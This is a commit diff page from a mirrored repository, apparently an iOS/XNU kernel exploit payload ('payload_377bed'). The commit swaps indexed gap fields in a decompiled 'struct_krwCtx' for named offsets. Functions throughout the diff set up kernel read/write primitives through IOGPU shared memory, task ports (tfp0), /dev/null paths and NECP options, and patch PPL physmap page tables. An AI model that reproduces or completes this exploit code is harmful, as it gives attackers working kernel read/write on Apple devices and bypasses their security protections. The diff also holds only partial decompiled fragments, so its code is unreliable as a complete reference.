CalvinBackup/coruna
1
0
Fork 0
mirror of https://github.com/khanhduytran0/coruna.git synced 2026-08-18 08:27:12 +02:00
Code Issues Packages Projects Releases Wiki Activity

Replace indexed krw gap fields

Browse Source
This commit is contained in:
khanhduytran0
2026-06-06 11:03:47 +07:00
parent b16b79a87e
commit 361b092f29
2 changed files with 180 additions and 119 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/payload_377bed/defs.h
+79 -18
View File
@@ -67,11 +67,22 @@ struct struct_krwCtx
@public @public
#endif #endif
/* 00000000 */ uint32_t flags; /* 00000000 */ uint32_t flags;
/* 00000004 */ uint8_t gap_0x4[0x4C]; union {
/* 00000004 */ uint8_t raw_0x4[0xA8];
struct {
/* 00000004 */ uint8_t gap_0x4_to_0xB[0x7];
/* 0000000B */ uint8_t gap_0xB;
/* 0000000C */ uint8_t gap_0xC_to_0x30[0x24];
/* 00000030 */ uint64_t gap_0x30;
/* 00000038 */ uint64_t gap_0x38;
/* 00000040 */ uint64_t gap_0x40;
/* 00000048 */ uint64_t gap_0x48;
/* 00000050 */ uint64_t gap_0x50; /* 00000050 */ uint64_t gap_0x50;
/* 00000058 */ uint8_t gap_0x58[0x54]; /* 00000058 */ uint32_t gap_0x58;
/* 0000005C */ uint8_t gap_0x5C_to_0xAC[0x50];
};
};
/* 000000AC */ uint32_t threadForKernelRead; /* 000000AC */ uint32_t threadForKernelRead;
///* 000000B0 */ uint8_t gap_0xB0[0x90];
/* 00000B0 */ uint64_t gap_0xB0; /* 00000B0 */ uint64_t gap_0xB0;
/* 000000B8 */ uint64_t gap_0xB8; /* 000000B8 */ uint64_t gap_0xB8;
/* 000000C0 */ uint64_t gap_0xC0; /* 000000C0 */ uint64_t gap_0xC0;
@@ -97,20 +108,29 @@ struct struct_krwCtx
/* 00000130 */ uint64_t gap_0x130; /* 00000130 */ uint64_t gap_0x130;
/* 00000138 */ uint64_t gap_0x138; /* 00000138 */ uint64_t gap_0x138;
/* 00000140 */ int xnuMajorVersion; /* 00000140 */ int xnuMajorVersion;
/* 00000144 */ uint8_t gap_0x144[20]; union {
/* 00000144 */ uint8_t raw_0x144[20];
struct {
/* 00000144 */ uint8_t gap_0x144_to_0x150[0xC];
/* 00000150 */ uint64_t gap_0x150;
};
};
/* 00000158 */ uint64_t xnuVersionPacked; /* 00000158 */ uint64_t xnuVersionPacked;
union { union {
/* 00000160 */ uint8_t gap_0x160[8]; /* 00000160 */ uint8_t raw_0x160[8];
/* 00000160 */ uint64_t gap_0x160_size8; /* 00000160 */ uint64_t gap_0x160_size8;
}; };
/* 00000168 */ int stride_0x168; /* 00000168 */ int stride_0x168;
union { union {
/* 0000016C */ int gap_0x16C[5]; /* 0000016C */ int raw_0x16C[5];
struct { struct {
/* 0000016C */ int gap_0x16C_0; /* 0000016C */ int gap_0x16C_0;
/* 00000170 */ int gap_0x170; /* 00000170 */ int gap_0x170;
/* 00000174 */ int gap_0x174; /* 00000174 */ int gap_0x174;
union {
/* 00000178 */ uint32_t gap_0x178;
/* 00000178 */ uint32_t gap_0x178_size4; /* 00000178 */ uint32_t gap_0x178_size4;
};
/* 0000017C */ int gap_0x17C; /* 0000017C */ int gap_0x17C;
}; };
}; };
@@ -118,15 +138,22 @@ struct struct_krwCtx
/* 00000184 */ int gap_0x184; /* 00000184 */ int gap_0x184;
/* 00000188 */ uint64_t pageMask; /* 00000188 */ uint64_t pageMask;
union { union {
/* 00000190 */ uint8_t gap_0x190[136]; /* 00000190 */ uint8_t raw_0x190[136];
struct { struct {
/* 00000190 */ uint8_t gap_0x190_to_0x1A8[0x18]; /* 00000190 */ uint8_t gap_0x190_to_0x1A8[0x18];
/* 000001A8 */ uint64_t gap_0x1A8_size8; /* 000001A8 */ uint64_t gap_0x1A8_size8;
/* 000001B0 */ uint8_t gap_0x1B0_to_0x218[0x68]; /* 000001B0 */ uint64_t gap_0x1B0;
/* 000001B8 */ uint8_t gap_0x1B8_to_0x1E0[0x28];
/* 000001E0 */ uint64_t gap_0x1E0;
/* 000001E8 */ uint64_t gap_0x1E8;
/* 000001F0 */ uint8_t gap_0x1F0_to_0x218[0x28];
}; };
}; };
/* 00000218 */ uint64_t gap_0x218; /* 00000218 */ uint64_t gap_0x218;
/* 00000220 */ uint8_t gap_0x220[56]; union {
/* 00000220 */ uint8_t raw_0x220[56];
/* 00000220 */ uint64_t gap_0x220;
};
union { union {
/* 00000258 */ int isRW; /* 00000258 */ int isRW;
/* 00000258 */ uint32_t gap_0x258_size4; /* 00000258 */ uint32_t gap_0x258_size4;
@@ -136,21 +163,45 @@ struct struct_krwCtx
/* 00000268 */ pthread_mutex_t someMutex; /* 00000268 */ pthread_mutex_t someMutex;
/* 000002A8 */ uint32_t someInt1; /* 000002A8 */ uint32_t someInt1;
/* 000002AC */ uint32_t someInt2; /* 000002AC */ uint32_t someInt2;
/* 000002B0 */ uint64_t gap_0x2B0[16]; /* 000002B0 */ uint64_t raw_0x2B0[16];
/* 00000330 */ pthread_mutex_t someMutex2; /* 00000330 */ pthread_mutex_t someMutex2;
union { union {
/* 00000370 */ uint64_t gap_0x370[695]; /* 00000370 */ uint64_t raw_0x370[695];
struct { struct {
/* 00000370 */ uint8_t gap_0x370_to_0x37C[0xC]; /* 00000370 */ uint64_t gap_0x370;
union {
/* 00000378 */ uint64_t gap_0x378;
struct {
/* 00000378 */ uint32_t gap_0x378_size4;
/* 0000037C */ uint32_t gap_0x37C_size4; /* 0000037C */ uint32_t gap_0x37C_size4;
/* 00000380 */ uint8_t gap_0x380_to_0x1888[0x1508]; };
};
/* 00000380 */ uint8_t gap_0x380_to_0x390[0x10];
/* 00000390 */ uint64_t gap_0x390;
/* 00000398 */ uint64_t gap_0x398;
/* 000003A0 */ uint64_t gap_0x3A0;
/* 000003A8 */ uint64_t gap_0x3A8;
/* 000003B0 */ uint64_t gap_0x3B0;
/* 000003B8 */ uint8_t gap_0x3B8_to_0x870[0x4B8];
/* 00000870 */ uint64_t gap_0x870;
/* 00000878 */ uint64_t gap_0x878;
/* 00000880 */ uint8_t gap_0x880_to_0x1888[0x1008];
/* 00001888 */ uint64_t gap_0x1888; /* 00001888 */ uint64_t gap_0x1888;
/* 00001890 */ uint32_t gap_0x1890; /* 00001890 */ uint32_t gap_0x1890;
/* 00001894 */ uint8_t gap_0x1894_to_0x18E0[0x4C]; /* 00001894 */ uint8_t gap_0x1894_to_0x1898[0x4];
/* 00001898 */ uint64_t gap_0x1898;
/* 000018A0 */ uint64_t gap_0x18A0;
/* 000018A8 */ uint64_t gap_0x18A8;
/* 000018B0 */ uint64_t gap_0x18B0;
/* 000018B8 */ uint64_t gap_0x18B8;
/* 000018C0 */ uint64_t gap_0x18C0;
/* 000018C8 */ uint8_t gap_0x18C8_to_0x18E0[0x18];
/* 000018E0 */ uint64_t gap_0x18E0_size8; /* 000018E0 */ uint64_t gap_0x18E0_size8;
/* 000018E8 */ uint8_t gap_0x18E8_to_0x18F0[0x8]; /* 000018E8 */ uint8_t gap_0x18E8_to_0x18F0[0x8];
/* 000018F0 */ uint64_t gap_0x18F0; /* 000018F0 */ uint64_t gap_0x18F0;
/* 000018F8 */ uint8_t gap_0x18F8_to_0x1910[0x18]; /* 000018F8 */ uint64_t gap_0x18F8;
/* 00001900 */ uint64_t gap_0x1900;
/* 00001908 */ uint64_t gap_0x1908;
union { union {
/* 00001910 */ uint64_t gap_0x1910_size8; /* 00001910 */ uint64_t gap_0x1910_size8;
struct { struct {
@@ -158,11 +209,21 @@ struct struct_krwCtx
/* 00001914 */ uint32_t gap_0x1914_size4; /* 00001914 */ uint32_t gap_0x1914_size4;
}; };
}; };
/* 00001918 */ uint8_t gap_0x1918_to_0x191C[0x4]; union {
/* 00001918 */ uint64_t gap_0x1918;
struct {
/* 00001918 */ uint32_t gap_0x1918_size4;
/* 0000191C */ uint32_t gap_0x191C_size4; /* 0000191C */ uint32_t gap_0x191C_size4;
};
};
union {
/* 00001920 */ uint64_t gap_0x1920;
struct {
/* 00001920 */ uint32_t gap_0x1920_size4; /* 00001920 */ uint32_t gap_0x1920_size4;
/* 00001924 */ uint8_t gap_0x1924_to_0x1928[0x4]; /* 00001924 */ uint8_t gap_0x1924_to_0x1928[0x4];
}; };
};
};
}; };
/* 00001928 */ uint32_t gap_0x1928; /* 00001928 */ uint32_t gap_0x1928;
/* 0000192C */ uint32_t gap_0x192C; /* 0000192C */ uint32_t gap_0x192C;
@@ -176,7 +237,7 @@ struct struct_krwCtx
}; };
/* 00001944 */ uint32_t gap_0x1944; /* 00001944 */ uint32_t gap_0x1944;
union { union {
/* 00001948 */ uint64_t gap_0x1948[16]; /* 00001948 */ uint64_t raw_0x1948[16];
struct { struct {
/* 00001948 */ uint8_t gap_0x1948_to_0x1990[0x48]; /* 00001948 */ uint8_t gap_0x1948_to_0x1990[0x48];
/* 00001990 */ uint64_t gap_0x1990_size8; /* 00001990 */ uint64_t gap_0x1990_size8;
@@ -200,7 +261,7 @@ struct struct_krwCtx
/* 000019F8 */ uint64_t *gap_0x19F8; /* 000019F8 */ uint64_t *gap_0x19F8;
/* 00001A00 */ uint64_t gap_0x1A00; /* 00001A00 */ uint64_t gap_0x1A00;
union { union {
/* 00001A08 */ uint64_t gap_0x1A08[104]; /* 00001A08 */ uint64_t raw_0x1A08[104];
struct { struct {
/* 00001A08 */ uint8_t gap_0x1A08_to_0x1D18[0x310]; /* 00001A08 */ uint8_t gap_0x1A08_to_0x1D18[0x310];
/* 00001D18 */ uint64_t gap_0x1D18_size8; /* 00001D18 */ uint64_t gap_0x1D18_size8;
src/payload_377bed/entry1_type0x09.m
+101 -101
View File
@@ -818,7 +818,7 @@ static bool krw_has_any_ready_method(struct_krwCtx *krwCtx)
&& krwCtx->krw_pipe_1 != -1 && krwCtx->krw_pipe_1 != -1
&& ((krwCtx->gap_0x1940 != -1 && krwCtx->gap_0x218) && ((krwCtx->gap_0x1940 != -1 && krwCtx->gap_0x218)
|| (krwCtx->gap_0x1938 != -1 && krwCtx->gap_0x193C != -1)); || (krwCtx->gap_0x1938 != -1 && krwCtx->gap_0x193C != -1));
bool hasTargetPortKrw = (unsigned int)(LODWORD(krwCtx->gap_0x370[693]) + 1) >= 2; bool hasTargetPortKrw = (unsigned int)(LODWORD(krwCtx->gap_0x1918) + 1) >= 2;
return hasThreadStateKrw || hasIOConnectKrw || hasPipePairKrw || hasTargetPortKrw; return hasThreadStateKrw || hasIOConnectKrw || hasPipePairKrw || hasTargetPortKrw;
} }
@@ -5021,16 +5021,16 @@ LABEL_19:
if ( !*v7 ) if ( !*v7 )
*v7 = v6[2]; *v7 = v6[2];
v2 = 0; v2 = 0;
*(uint64_t *)&a1->gap_0x4[44] = (uint64_t)iogpu_kread; *(uint64_t *)&a1->gap_0x30 = (uint64_t)iogpu_kread;
*(uint64_t *)&a1->gap_0x4[60] = (uint64_t)iogpu_kwrite; *(uint64_t *)&a1->gap_0x40 = (uint64_t)iogpu_kwrite;
*(uint64_t *)&a1->gap_0x4[52] = (uint64_t)iogpu_kread2; *(uint64_t *)&a1->gap_0x38 = (uint64_t)iogpu_kread2;
*(uint64_t *)&a1->gap_0x4[68] = (uint64_t)iogpu_kwrite2; *(uint64_t *)&a1->gap_0x48 = (uint64_t)iogpu_kwrite2;
*(uint64_t *)&a1->gap_0x4[76] = (uint64_t)v6; *(uint64_t *)&a1->gap_0x50 = (uint64_t)v6;
v6[183] = read_task_kobject_physmap; v6[183] = read_task_kobject_physmap;
v6[184] = get_read_task_port_kobject; v6[184] = get_read_task_port_kobject;
v6[185] = check_task_port_type; v6[185] = check_task_port_type;
*(uint64_t *)&a1->gap_0x190[80] = (uint64_t)necp_send_msg_1; *(uint64_t *)&a1->gap_0x1E0 = (uint64_t)necp_send_msg_1;
*(uint64_t *)&a1->gap_0x190[88] = (uint64_t)v6; *(uint64_t *)&a1->gap_0x1E8 = (uint64_t)v6;
return v2; return v2;
} }
// 42D40: using guessed type __int128 xmmword_42D40; // 42D40: using guessed type __int128 xmmword_42D40;
@@ -5260,8 +5260,8 @@ __int64 __fastcall iogpu_physmap_init(struct_krwCtx *a1)
bzero((void *)address, v2); bzero((void *)address, v2);
v5 = (uint64_t *)address; v5 = (uint64_t *)address;
*(uint64_t *)address = a1->gap_0x19D8; *(uint64_t *)address = a1->gap_0x19D8;
v5[4] = a1->gap_0x370[677]; v5[4] = a1->gap_0x1898;
v5[5] = LODWORD(a1->gap_0x370[678]); v5[5] = LODWORD(a1->gap_0x18A0);
result = create_iogpu_shmem_entry((__int64)a1, (uint32_t *)&v16 + 1, &v16, &v15, v5); result = create_iogpu_shmem_entry((__int64)a1, (uint32_t *)&v16 + 1, &v16, &v15, v5);
if ( !(uint32_t)result ) if ( !(uint32_t)result )
{ {
@@ -5637,31 +5637,31 @@ __int64 __fastcall iogpu_krw_ctx_setup(struct_krwCtx *a1, uint32_t *a2)
v14 = *(uint64_t *)(address + 32); v14 = *(uint64_t *)(address + 32);
if ( validate_kaddr_range((__int64)a1, v14) ) if ( validate_kaddr_range((__int64)a1, v14) )
{ {
a1->gap_0x370[677] = v14; a1->gap_0x1898 = v14;
v15 = (uint64_t *)address; v15 = (uint64_t *)address;
v16 = *(uint64_t *)(address + 40); v16 = *(uint64_t *)(address + 40);
if ( (unsigned __int64)(v16 - 1) <= 0x1F ) if ( (unsigned __int64)(v16 - 1) <= 0x1F )
{ {
LODWORD(a1->gap_0x370[678]) = v16; LODWORD(a1->gap_0x18A0) = v16;
v18 = 0; v18 = 0;
v6 = iogpu_init_private_ctx((__int64)a1, &v18, object[1], object[2], object[3], v15); v6 = iogpu_init_private_ctx((__int64)a1, &v18, object[1], object[2], object[3], v15);
if ( !v6 ) if ( !v6 )
{ {
v17 = v18; v17 = v18;
*(uint64_t *)&a1->gap_0x4[44] = (uint64_t)iogpu_kread; *(uint64_t *)&a1->gap_0x30 = (uint64_t)iogpu_kread;
*(uint64_t *)&a1->gap_0x4[60] = (uint64_t)iogpu_kwrite; *(uint64_t *)&a1->gap_0x40 = (uint64_t)iogpu_kwrite;
*(uint64_t *)&a1->gap_0x4[52] = (uint64_t)iogpu_kread2; *(uint64_t *)&a1->gap_0x38 = (uint64_t)iogpu_kread2;
*(uint64_t *)&a1->gap_0x4[68] = (uint64_t)iogpu_kwrite2; *(uint64_t *)&a1->gap_0x48 = (uint64_t)iogpu_kwrite2;
*(uint64_t *)&a1->gap_0x4[76] = v17; *(uint64_t *)&a1->gap_0x50 = v17;
fd_close(v20); fd_close(v20);
v20 = -1; v20 = -1;
v6 = krw_read_validation(a1, 0); v6 = krw_read_validation(a1, 0);
if ( !v6 ) if ( !v6 )
{ {
*(uint64_t *)&a1->gap_0x4[44] = 0; *(uint64_t *)&a1->gap_0x30 = 0;
v6 = krw_write_validation(a1); v6 = krw_write_validation(a1);
if ( !v6 ) if ( !v6 )
*(uint64_t *)&a1->gap_0x4[60] = 0; *(uint64_t *)&a1->gap_0x40 = 0;
} }
} }
} }
@@ -9968,7 +9968,7 @@ __int64 __fastcall setup_vm_for_kwrite(struct_krwCtx *a1, __int64 a2, unsigned _
v10 = v9; v10 = v9;
address = 0; address = 0;
v11 = vm_page_size; v11 = vm_page_size;
v12 = *(uint32_t *)&a1->gap_0x4[84]; v12 = *(uint32_t *)&a1->gap_0x58;
if ( v12 + 1 > 1 ) if ( v12 + 1 > 1 )
{ {
v14 = vm_map(mach_task_self_, &address, vm_page_size, 0, 1, v12, v9 & ~a1->pageMask, 0, 3, 3, 2u); v14 = vm_map(mach_task_self_, &address, vm_page_size, 0, 1, v12, v9 & ~a1->pageMask, 0, 3, 3, 2u);
@@ -9979,7 +9979,7 @@ __int64 __fastcall setup_vm_for_kwrite(struct_krwCtx *a1, __int64 a2, unsigned _
{ {
return 0xFFFFFFFFLL; return 0xFFFFFFFFLL;
} }
v15 = *(uint32_t *)&a1->gap_0x4[84]; v15 = *(uint32_t *)&a1->gap_0x58;
if ( (unsigned int)(v15 + 1) >= 2 ) if ( (unsigned int)(v15 + 1) >= 2 )
v16 = address; v16 = address;
else else
@@ -9990,7 +9990,7 @@ __int64 __fastcall setup_vm_for_kwrite(struct_krwCtx *a1, __int64 a2, unsigned _
v5 = 0; v5 = 0;
atomic_fetch_add((atomic_ushort *volatile)v17, 0xFFFFu); atomic_fetch_add((atomic_ushort *volatile)v17, 0xFFFFu);
*(uint16_t *)(v17 + 2) = 0x4000; *(uint16_t *)(v17 + 2) = 0x4000;
v15 = *(uint32_t *)&a1->gap_0x4[84]; v15 = *(uint32_t *)&a1->gap_0x58;
} }
else else
{ {
@@ -11679,7 +11679,7 @@ bool __fastcall ppl_physmap_table_patch_write(struct_krwCtx *ctx, mach_vm_addres
v13 = 16; v13 = 16;
else else
v13 = 256; v13 = 256;
v14 = &ctx->gap_0x370[161]; v14 = &ctx->gap_0x878;
v15 = v13; v15 = v13;
do do
{ {
@@ -11708,7 +11708,7 @@ LABEL_30:
goto LABEL_32; goto LABEL_32;
if ( *(uint64_t *)&v25[4] ) if ( *(uint64_t *)&v25[4] )
{ {
if ( !(unsigned int)krw_read_thunk(ctx, *(__int64 *)&v25[4], (unsigned int)(16 * v13), &ctx->gap_0x370[160]) ) if ( !(unsigned int)krw_read_thunk(ctx, *(__int64 *)&v25[4], (unsigned int)(16 * v13), &ctx->gap_0x870) )
goto LABEL_32; goto LABEL_32;
} }
else else
@@ -11718,12 +11718,12 @@ LABEL_30:
*(uint64_t *)&v25[4] = v18; *(uint64_t *)&v25[4] = v18;
if ( !v18 || !(unsigned int)cache_physmap_page_slot(ctx, 7u, v18) ) if ( !v18 || !(unsigned int)cache_physmap_page_slot(ctx, 7u, v18) )
goto LABEL_32; goto LABEL_32;
bzero(&ctx->gap_0x370[160], (unsigned int)(16 * v13)); bzero(&ctx->gap_0x870, (unsigned int)(16 * v13));
} }
v19 = 2160; v19 = 2160;
while ( 1 ) while ( 1 )
{ {
v20 = *(uint64_t *)&ctx->gap_0x4[v19 + 4]; v20 = *(uint64_t *)&ctx->raw_0x4[v19 + 4];
if ( !v20 ) if ( !v20 )
break; break;
if ( v12 == v20 ) if ( v12 == v20 )
@@ -11746,7 +11746,7 @@ LABEL_30:
v23 = pgtable_walk_for_physmap(ctx, v22, v12); v23 = pgtable_walk_for_physmap(ctx, v22, v12);
if ( v23 ) if ( v23 )
{ {
*(uint64_t *)&ctx->gap_0x4[v19 + 4] = v12; *(uint64_t *)&ctx->raw_0x4[v19 + 4] = v12;
*(uint64_t *)((char *)&ctx->flags + v19) = v21; *(uint64_t *)((char *)&ctx->flags + v19) = v21;
if ( (unsigned int)kwrite_with_retry( if ( (unsigned int)kwrite_with_retry(
ctx, ctx,
@@ -12988,7 +12988,7 @@ LABEL_15:
&& (unsigned int)krw_read_thunk(krwCtx, address, 40, &v31) && (unsigned int)krw_read_thunk(krwCtx, address, 40, &v31)
&& (unsigned int)kwrite_with_retry( && (unsigned int)kwrite_with_retry(
krwCtx, krwCtx,
krwCtx->gap_0x370[4] + krwCtx->stride_0x168, krwCtx->gap_0x390 + krwCtx->stride_0x168,
(__int64)&v31 + krwCtx->stride_0x168, (__int64)&v31 + krwCtx->stride_0x168,
(unsigned int)(40 - krwCtx->stride_0x168)) != 0; (unsigned int)(40 - krwCtx->stride_0x168)) != 0;
mach_port_destroy(mach_task_self_, v19); mach_port_destroy(mach_task_self_, v19);
@@ -24267,7 +24267,7 @@ LABEL_18:
v17 = 24; v17 = 24;
v15 = 24; v15 = 24;
LABEL_26: LABEL_26:
v20 = a1->gap_0x370[5]; v20 = a1->gap_0x398;
result = validate_kaddr_range((__int64)a1, v20); result = validate_kaddr_range((__int64)a1, v20);
if ( !result ) if ( !result )
return result; return result;
@@ -25678,7 +25678,7 @@ bool __fastcall krw_ctx_has_read_caps(struct_krwCtx *ctx)
if ( KRW_CTX_AT(ctx, uint64_t, KRW_CTX_OLD_SELF_TASK_IPC_OFFSET) if ( KRW_CTX_AT(ctx, uint64_t, KRW_CTX_OLD_SELF_TASK_IPC_OFFSET)
&& KRW_CTX_AT(ctx, uint64_t, KRW_CTX_OLD_PTRAUTH_BASE_OFFSET) ) && KRW_CTX_AT(ctx, uint64_t, KRW_CTX_OLD_PTRAUTH_BASE_OFFSET) )
{ {
if ( ctx->gap_0x4[7] ) if ( ctx->gap_0xB )
{ {
v5 = 8388864; v5 = 8388864;
goto LABEL_16; goto LABEL_16;
@@ -29371,7 +29371,7 @@ bool __fastcall kread64_internal(struct_krwCtx *a1, unsigned __int64 a2, uint64_
__int64 v7; // [xsp+8h] [xbp-8h] BYREF __int64 v7; // [xsp+8h] [xbp-8h] BYREF
*a3 = 0; *a3 = 0;
v3 = *(__int64 (__fastcall **)(struct_krwCtx *, unsigned __int64, uint64_t *, uint64_t, __int64))&a1->gap_0x4[44]; v3 = *(__int64 (__fastcall **)(struct_krwCtx *, unsigned __int64, uint64_t *, uint64_t, __int64))&a1->gap_0x30;
if ( v3 ) if ( v3 )
{ {
v4 = v3(a1, a2, a3, (unsigned int)a1->stride_0x168, 1); v4 = v3(a1, a2, a3, (unsigned int)a1->stride_0x168, 1);
@@ -29397,7 +29397,7 @@ bool __fastcall kread64_internal(struct_krwCtx *a1, unsigned __int64 a2, uint64_
if ( a1->gap_0x1938 == -1 || a1->gap_0x193C == -1 ) if ( a1->gap_0x1938 == -1 || a1->gap_0x193C == -1 )
{ {
LABEL_22: LABEL_22:
v5 = kreadbuf_via_tfp0(a1->gap_0x370[693], a2, a1->stride_0x168, (unsigned int)a1->gap_0x16C[3], (__int64)a3, &v7); v5 = kreadbuf_via_tfp0(a1->gap_0x1918, a2, a1->stride_0x168, (unsigned int)a1->gap_0x178, (__int64)a3, &v7);
return v5 == 0; return v5 == 0;
} }
v4 = kreadbuf_via_dev_null_simple(a1, a2, a3, a1->stride_0x168, 1); v4 = kreadbuf_via_dev_null_simple(a1, a2, a3, a1->stride_0x168, 1);
@@ -29759,7 +29759,7 @@ bool __fastcall kreadbuf_universal(struct_krwCtx *krwCtx, unsigned __int64 vaddr
int v6; // w0 int v6; // w0
int v7; // w0 int v7; // w0
v5 = *(__int64 (__fastcall **)(struct_krwCtx *, unsigned __int64, void *, mach_vm_size_t, __int64))&krwCtx->gap_0x4[44]; v5 = *(__int64 (__fastcall **)(struct_krwCtx *, unsigned __int64, void *, mach_vm_size_t, __int64))&krwCtx->gap_0x30;
if ( v5 ) if ( v5 )
{ {
v6 = v5(krwCtx, vaddr, outBuf, size, a5); v6 = v5(krwCtx, vaddr, outBuf, size, a5);
@@ -29787,7 +29787,7 @@ bool __fastcall kreadbuf_universal(struct_krwCtx *krwCtx, unsigned __int64 vaddr
if ( krwCtx->gap_0x1938 == -1 || krwCtx->gap_0x193C == -1 ) if ( krwCtx->gap_0x1938 == -1 || krwCtx->gap_0x193C == -1 )
{ {
LABEL_22: LABEL_22:
v7 = kreadbuf_via_tfp0(krwCtx->gap_0x370[693], vaddr, size, (unsigned int)krwCtx->gap_0x16C[3], (__int64)outBuf, 0); v7 = kreadbuf_via_tfp0(krwCtx->gap_0x1918, vaddr, size, (unsigned int)krwCtx->gap_0x178, (__int64)outBuf, 0);
return v7 == 0; return v7 == 0;
} }
v6 = kreadbuf_via_dev_null_simple(krwCtx, vaddr, outBuf, size, a5); v6 = kreadbuf_via_dev_null_simple(krwCtx, vaddr, outBuf, size, a5);
@@ -32075,7 +32075,7 @@ __int64 __fastcall kread_task_slot_and_necp_set(struct_krwCtx *a1, __int64 a2, u
result = necp_set_opt_string_6((__int64)a1, a3); result = necp_set_opt_string_6((__int64)a1, a3);
if ( (uint32_t)result ) if ( (uint32_t)result )
{ {
*a4 = v12 == a1->gap_0x370[4]; *a4 = v12 == a1->gap_0x390;
return 1; return 1;
} }
} }
@@ -36705,7 +36705,7 @@ unsigned __int64 __fastcall get_task_kobject_addr(struct_krwCtx *a1, mach_port_t
bool v6; // zf bool v6; // zf
v4 = mach_task_self_; v4 = mach_task_self_;
if ( mach_task_self_ != a2 || (result = *(uint64_t *)&a1->gap_0x190[32]) == 0 ) if ( mach_task_self_ != a2 || (result = *(uint64_t *)&a1->gap_0x1B0) == 0 )
{ {
if ( a2 == -1 ) if ( a2 == -1 )
{ {
@@ -36718,8 +36718,8 @@ unsigned __int64 __fastcall get_task_kobject_addr(struct_krwCtx *a1, mach_port_t
{ {
result = maybe_ipc_port_get_kobject(a1, result); result = maybe_ipc_port_get_kobject(a1, result);
v6 = v4 != a2 || result == 0; v6 = v4 != a2 || result == 0;
if ( !v6 && !*(uint64_t *)&a1->gap_0x190[32] ) if ( !v6 && !*(uint64_t *)&a1->gap_0x1B0 )
*(uint64_t *)&a1->gap_0x190[32] = result; *(uint64_t *)&a1->gap_0x1B0 = result;
} }
} }
} }
@@ -38268,7 +38268,7 @@ LABEL_12:
{ {
v6 = v12; v6 = v12;
} }
a1->gap_0x370[6] = v6; a1->gap_0x3A0 = v6;
result = kread_physmap_decorated( result = kread_physmap_decorated(
a1, a1,
v11 + (unsigned int)(2 * a1->stride_0x168), v11 + (unsigned int)(2 * a1->stride_0x168),
@@ -38292,20 +38292,20 @@ LABEL_23:
if ( a1->xnuVersionPacked > XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) || (a1->flags & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) == 0 ) if ( a1->xnuVersionPacked > XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) || (a1->flags & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) == 0 )
{ {
v7 = v13; v7 = v13;
a1->gap_0x370[7] = v13; a1->gap_0x3A8 = v13;
goto LABEL_28; goto LABEL_28;
} }
result = kread64_internal(a1, v11 + (unsigned int)(2 * a1->stride_0x168), &v10); result = kread64_internal(a1, v11 + (unsigned int)(2 * a1->stride_0x168), &v10);
if ( (uint32_t)result ) if ( (uint32_t)result )
{ {
a1->gap_0x370[7] = v10; a1->gap_0x3A8 = v10;
v7 = v13; v7 = v13;
LABEL_28: LABEL_28:
a1->gap_0x370[4] = v12; a1->gap_0x390 = v12;
a1->gap_0x370[5] = v7; a1->gap_0x398 = v7;
a1->gap_0x370[1] = 0x100000000LL; a1->gap_0x378 = 0x100000000LL;
a1->gap_0x370[688] = v11; a1->gap_0x18F0 = v11;
LODWORD(a1->gap_0x370[689]) = 0; LODWORD(a1->gap_0x18F8) = 0;
return 1; return 1;
} }
return result; return result;
@@ -39068,7 +39068,7 @@ int __fastcall necp_set_opt_string_7(struct_krwCtx *a1, unsigned int a2, __int64
v8 = a1->xnuVersionPacked; v8 = a1->xnuVersionPacked;
if ( v8 >= XNU_VERSION_PACKED(8019, 60, 40, 0, 0) ) if ( v8 >= XNU_VERSION_PACKED(8019, 60, 40, 0, 0) )
{ {
v9 = a1->gap_0x370[688] + a1->stride_0x168 * (a2 + 1); v9 = a1->gap_0x18F0 + a1->stride_0x168 * (a2 + 1);
return kwrite64_dispatch(a1, v9, a3); return kwrite64_dispatch(a1, v9, a3);
} }
if ( a3 ) if ( a3 )
@@ -39078,14 +39078,14 @@ int __fastcall necp_set_opt_string_7(struct_krwCtx *a1, unsigned int a2, __int64
} }
else if ( v8 >= XNU_VERSION_PACKED(8019, 0, 0, 0, 0) && (a1->flags & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 ) else if ( v8 >= XNU_VERSION_PACKED(8019, 0, 0, 0, 0) && (a1->flags & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 )
{ {
v10 = a1->gap_0x370[688]; v10 = a1->gap_0x18F0;
if ( a1->gap_0x370[8] != v10 ) if ( a1->gap_0x3B0 != v10 )
{ {
v14 = -1LL; v14 = -1LL;
v15 = 1008LL; v15 = 1008LL;
while ( v14 != 6 ) while ( v14 != 6 )
{ {
v16 = a1->gap_0x370[v15 / 8 - 110]; v16 = a1->raw_0x370[v15 / 8 - 110];
++v14; ++v14;
v15 += 64LL; v15 += 64LL;
if ( v16 == v10 ) if ( v16 == v10 )
@@ -39135,11 +39135,11 @@ int __fastcall necp_set_opt_string_7(struct_krwCtx *a1, unsigned int a2, __int64
} }
v11 = 0; v11 = 0;
LABEL_16: LABEL_16:
v12 = a1->gap_0x370[9 + 8LL * v11 + a2]; v12 = a1->raw_0x370[9 + 8LL * v11 + a2];
v13 = v10 + a1->stride_0x168 * (a2 + 1); v13 = v10 + a1->stride_0x168 * (a2 + 1);
goto LABEL_18; goto LABEL_18;
} }
v13 = a1->gap_0x370[688] + a1->stride_0x168 * (a2 + 1); v13 = a1->gap_0x18F0 + a1->stride_0x168 * (a2 + 1);
a1 = v7; a1 = v7;
v12 = a3; v12 = a3;
LABEL_18: LABEL_18:
@@ -41291,8 +41291,8 @@ __int64 __fastcall map_physpage_for_kobj(struct_krwCtx *a1, unsigned __int64 a2)
unsigned __int64 translation_base; // [xsp+0h] [xbp-30h] BYREF unsigned __int64 translation_base; // [xsp+0h] [xbp-30h] BYREF
unsigned __int64 translation_delta; // [xsp+8h] [xbp-28h] BYREF unsigned __int64 translation_delta; // [xsp+8h] [xbp-28h] BYREF
translation_base = a1->gap_0x370[679]; translation_base = a1->gap_0x18A8;
translation_delta = a1->gap_0x370[680]; translation_delta = a1->gap_0x18B0;
if ( translation_base ) if ( translation_base )
{ {
return map_physpage_to_user(a1, translation_base, translation_delta, a2); return map_physpage_to_user(a1, translation_base, translation_delta, a2);
@@ -41309,8 +41309,8 @@ __int64 __fastcall map_physpage_for_kobj(struct_krwCtx *a1, unsigned __int64 a2)
{ {
return 0; return 0;
} }
a1->gap_0x370[679] = translation_base; a1->gap_0x18A8 = translation_base;
